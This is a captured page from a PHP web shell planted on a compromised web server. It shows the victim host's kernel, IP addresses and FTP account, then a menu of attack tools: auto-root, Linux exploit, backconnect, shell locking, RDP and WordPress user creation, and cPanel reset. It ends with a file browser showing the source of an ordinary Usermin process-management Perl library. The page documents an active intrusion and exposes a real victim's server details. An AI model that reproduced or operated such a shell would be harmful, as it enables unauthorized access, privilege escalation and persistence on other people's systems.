Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.139
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
usermin /
proc /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
config-ALL-linux
84
B
-rw-r--r--
config-aix
83
B
-rw-r--r--
config-freebsd
86
B
-rw-r--r--
config-hpux
83
B
-rw-r--r--
config-irix
83
B
-rw-r--r--
config-macos
84
B
-rw-r--r--
config-netbsd
86
B
-rw-r--r--
config-openbsd
86
B
-rw-r--r--
config-openserver
83
B
-rw-r--r--
config-osf1
82
B
-rw-r--r--
config-qnx
71
B
-rw-r--r--
config-solaris
83
B
-rw-r--r--
config-unixware
83
B
-rw-r--r--
config.info
512
B
-rw-r--r--
config.info.ca
635
B
-rw-r--r--
config.info.de
538
B
-rw-r--r--
config.info.es
341
B
-rw-r--r--
config.info.fr
382
B
-rw-r--r--
config.info.hu
521
B
-rw-r--r--
config.info.nl
524
B
-rw-r--r--
config.info.no
512
B
-rw-r--r--
config.info.pl
517
B
-rw-r--r--
config.info.ru
891
B
-rw-r--r--
config.info.sv
320
B
-rw-r--r--
config.info.tr
570
B
-rw-r--r--
config.info.zh
253
B
-rw-r--r--
config.info.zh_TW
303
B
-rw-r--r--
edit_proc.cgi
4.17
KB
-rwxr-xr-x
freebsd-lib.pl
4.5
KB
-rwxr-xr-x
hpux-lib.pl
2.62
KB
-rwxr-xr-x
index.cgi
466
B
-rwxr-xr-x
index_cpu.cgi
1.3
KB
-rwxr-xr-x
index_run.cgi
1.07
KB
-rwxr-xr-x
index_search.cgi
6.48
KB
-rwxr-xr-x
index_size.cgi
1.26
KB
-rwxr-xr-x
index_tree.cgi
1.5
KB
-rwxr-xr-x
index_user.cgi
1.11
KB
-rwxr-xr-x
kill_proc.cgi
738
B
-rwxr-xr-x
kill_proc_list.cgi
860
B
-rwxr-xr-x
linux-lib.pl
18.26
KB
-rwxr-xr-x
log_parser.pl
1.05
KB
-rwxr-xr-x
macos-lib.pl
4.45
KB
-rwxr-xr-x
module.info
286
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
144
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
212
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
254
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
265
B
-rw-r--r--
module.info.ca
31
B
-rw-r--r--
module.info.ca.auto
147
B
-rw-r--r--
module.info.cs
27
B
-rw-r--r--
module.info.cs.auto
139
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
138
B
-rw-r--r--
module.info.de
96
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
292
B
-rw-r--r--
module.info.es
0
B
-rw-r--r--
module.info.es.auto
161
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
144
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
278
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
186
B
-rw-r--r--
module.info.fr
34
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
189
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
156
B
-rw-r--r--
module.info.hu
25
B
-rw-r--r--
module.info.hu.auto
131
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
166
B
-rw-r--r--
module.info.ja
37
B
-rw-r--r--
module.info.ja.auto
196
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
197
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
160
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
152
B
-rw-r--r--
module.info.ms
0
B
-rw-r--r--
module.info.ms.auto
155
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
160
B
-rw-r--r--
module.info.nl
27
B
-rw-r--r--
module.info.no
28
B
-rw-r--r--
module.info.no.auto
110
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
155
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
159
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
168
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
167
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
266
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
154
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
150
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
134
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
310
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
169
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
242
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
240
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
205
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
139
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
148
B
-rw-r--r--
old-proc-lib.pl
5.99
KB
-rwxr-xr-x
open_files.cgi
2.57
KB
-rwxr-xr-x
openbsd-lib.pl
1.81
KB
-rwxr-xr-x
osf-lib.pl
2.44
KB
-rwxr-xr-x
proc-lib.pl
15.45
KB
-rwxr-xr-x
renice_proc.cgi
617
B
-rwxr-xr-x
run.cgi
1.38
KB
-rwxr-xr-x
sysv-lib.pl
6.12
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : old-proc-lib.pl
# proc-lib.pl # Functions for managing processes do '../web-lib.pl'; &init_config(); if (!$ENV{'FOREIGN_MODULE_NAME'}) { &switch_to_remote_user(); &create_user_config_dirs(); } do "$config{ps_style}-lib.pl"; use POSIX; %access = ( 'edit' => 1, 'run' => 1 ); $no_module_config = 1; $user_processes_only = 1; sub process_info { local @plist = &list_processes($_[0]); return @plist ? %{$plist[0]} : (); } # index_links(current) sub index_links { local(%linkname, $l); print "<b>$text{'index_display'} : </b> \n"; foreach $l ("tree", "user", "size", "cpu", "search", "run") { if ($l ne $_[0]) { print "<a href=index_$l.cgi>"; } else { print "<b>"; } print $text{"index_$l"}; if ($l ne $_[0]) { print "</a>"; } else { print "</b>"; } print " \n"; } print "<p>\n"; open(INDEX, "> $user_module_config_directory/index"); $0 =~ /([^\/]+)$/; print INDEX "$1?$in\n"; close(INDEX); } # cut_string(string, [length]) sub cut_string { local $len = $_[1] || $config{'cut_length'}; if ($len && length($_[0]) > $len) { return substr($_[0], 0, $len)." ..."; } return $_[0]; } # switch_acl_uid() sub switch_acl_uid { } # safe_process_exec(command, uid, gid, handle, input, fixtags, bsmode) # Executes the given command as the given user/group and writes all output # to the given file handle. Finishes when there is no more output or the # process stops running. Returns the number of bytes read. sub safe_process_exec { # setup pipes and fork the process local $chld = $SIG{'CHLD'}; $SIG{'CHLD'} = \&safe_exec_reaper; pipe(OUTr, OUTw); pipe(INr, INw); local $pid = fork(); if (!$pid) { #setsid(); untie(*STDIN); untie(*STDOUT); untie(*STDERR); open(STDIN, "<&INr"); open(STDOUT, ">&OUTw"); open(STDERR, ">&OUTw"); $| = 1; close(OUTr); close(INw); if ($_[1]) { if (defined($_[2])) { # switch to given UID and GID $( = $_[2]; $) = "$_[2] $_[2]"; $< = $> = $_[1]; } else { # switch to UID and all GIDs local @u = getpwuid($_[1]); $( = $u[3]; $) = "$u[3] ".join(" ", $u[3], &other_groups($u[0])); $< = $> = $u[2]; } } # run the command delete($ENV{'FOREIGN_MODULE_NAME'}); delete($ENV{'SCRIPT_NAME'}); exec("/bin/sh", "-c", $_[0]); print "Exec failed : $!\n"; exit 1; } close(OUTw); close(INr); # Feed input (if any) print INw $_[4]; close(INw); # Read and show output local $fn = fileno(OUTr); local $got = 0; local $out = $_[3]; local $line; while(1) { local ($rmask, $buf); vec($rmask, $fn, 1) = 1; local $sel = select($rmask, undef, undef, 1); if ($sel > 0 && vec($rmask, $fn, 1)) { # got something to read.. print it sysread(OUTr, $buf, 1024) || last; $got += length($buf); if ($_[5]) { $buf =~ s/&/&/g; $buf =~ s/</</g; $buf =~ s/>/>/g; } if ($_[6]) { # Convert backspaces and returns $line .= $buf; while($line =~ s/^([^\n]*\n)//) { local $one = $1; while($one =~ s/.\010//) { } print $out $one; } } else { print $out $buf; } } elsif ($sel == 0) { # nothing to read. maybe the process is done, and a subprocess # is hanging things up last if (!kill(0, $pid)); } } close(OUTr); print $out $line; $SIG{'CHLD'} = $chld; return $got; } # safe_process_exec_logged(..) # Like safe_process_exec, but also logs the command sub safe_process_exec_logged { &additional_log('exec', undef, $_[0]); return &safe_process_exec(@_); } sub safe_exec_reaper { local $xp; do { local $oldexit = $?; $xp = waitpid(-1, WNOHANG); $? = $oldexit if ($? < 0); } while($xp > 0); } # pty_process_exec(command, [uid, gid]) # Starts the given command in a new pty and returns the pty filehandle and PID sub pty_process_exec { local ($ptyfh, $ttyfh, $pty, $tty) = &get_new_pty(); local $pid = fork(); if (!$pid) { close(STDIN); close(STDOUT); close(STDERR); untie(*STDIN); untie(*STDOUT); untie(*STDERR); setsid(); #setpgrp(0, $$); if ($_[1]) { $( = $u[3]; $) = "$_[2] $_[2]"; ($>, $<) = ($_[1], $_[1]); } open(STDIN, "<$tty"); open(STDOUT, ">&$ttyfh"); open(STDERR, ">&STDOUT"); close($ptyfh); exec($_[0]); print "Exec failed : $!\n"; exit 1; } close($ttyfh); return ($ptyfh, $pid); } # pty_process_exec_logged(..) # Like pty_process_exec, but logs the command as well sub pty_process_exec_logged { &additional_log('exec', undef, $_[0]); return &pty_process_exec(@_); } # find_process(name) # Returns an array of all processes matching some name sub find_process { local $name = $_[0]; local @rv = grep { $_->{'args'} =~ /$name/ } &list_processes(); return wantarray ? @rv : $rv[0]; } $has_lsof_command = &has_command("lsof"); # find_socket_processes(protocol, port) # Returns all processes using some port and protocol sub find_socket_processes { local @rv; open(LSOF, "lsof -i '$_[0]:$_[1]' |"); while(<LSOF>) { if (/^(\S+)\s+(\d+)/) { push(@rv, $2); } } close(LSOF); return @rv; } # find_process_sockets(pid) # Returns all network connections made by some process sub find_process_sockets { local @rv; open(LSOF, "lsof -i tcp -i udp -n |"); while(<LSOF>) { if (/^(\S+)\s+(\d+)\s+(\S+)\s+(\S+)\s+(\S+)\s+(\S+).*(TCP|UDP)\s+(.*)/ && $2 eq $_[0]) { local $n = { 'fd' => $4, 'type' => $5, 'proto' => $7 }; local $m = $8; if ($m =~ /^([^:\s]+):([^:\s]+)\s+\(listen\)/i) { $n->{'lhost'} = $1; $n->{'lport'} = $2; $n->{'listen'} = 1; } elsif ($m =~ /^([^:\s]+):([^:\s]+)->([^:\s]+):([^:\s]+)\s+\((\S+)\)/) { $n->{'lhost'} = $1; $n->{'lport'} = $2; $n->{'rhost'} = $3; $n->{'rport'} = $4; $n->{'state'} = $5; } elsif ($m =~ /^([^:\s]+):([^:\s]+)/) { $n->{'lhost'} = $1; $n->{'lport'} = $2; } push(@rv, $n); } } close(LSOF); return @rv; } # find_process_files(pid) # Returns all files currently held open by some process sub find_process_files { local @rv; open(LSOF, "lsof -p '$_[0]' |"); while(<LSOF>) { if (/^(\S+)\s+(\d+)\s+(\S+)\s+(\S+)\s+(\S+)\s+(\d+),(\d+)\s+(\d+)\s+(\d+)\s+(.*)/) { push(@rv, { 'fd' => lc($4), 'type' => lc($5), 'device' => [ $6, $7 ], 'size' => $8, 'inode' => $9, 'file' => $10 }); } } close(LSOF); return @rv; } 1;
Close